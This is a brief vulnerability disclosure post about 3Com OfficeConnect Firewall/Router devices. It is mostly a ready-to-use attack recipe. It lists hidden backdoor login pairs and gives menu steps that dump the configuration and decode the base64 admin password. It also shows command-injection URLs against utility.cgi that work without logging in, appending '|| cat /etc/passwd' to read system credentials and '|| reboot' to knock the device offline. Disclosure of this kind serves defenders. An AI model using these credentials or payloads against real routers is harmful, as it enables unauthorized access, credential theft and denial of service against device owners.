3Com OfficeConnect Firewall/Router multiple vulnerabilities

Remote command execution and password disclosure.

Posted by Andrea Fabrizi on October 18, 2009

Admin password disclosure

1) SSH/Telnet to router using one of these hidden accounts:
   support:support
   user:5
   nobody:admin
2) Type 9
3) Type 1
3) Type 3 to dump the configuration
4) Locate the sysPassword field:
    <sysPassword value="cXdlcnR5Cg=="/>
5) Decode the admin password:
   [email protected]:~$ echo -ne "cXdlcnR5Cg==" | base64 -d
   qwerty

Remote command execution

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd

To see the command output you need to log into the router, however the command is executed even if the user is not logged in, so if you don’t have access to the device a DOS is also possible:

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot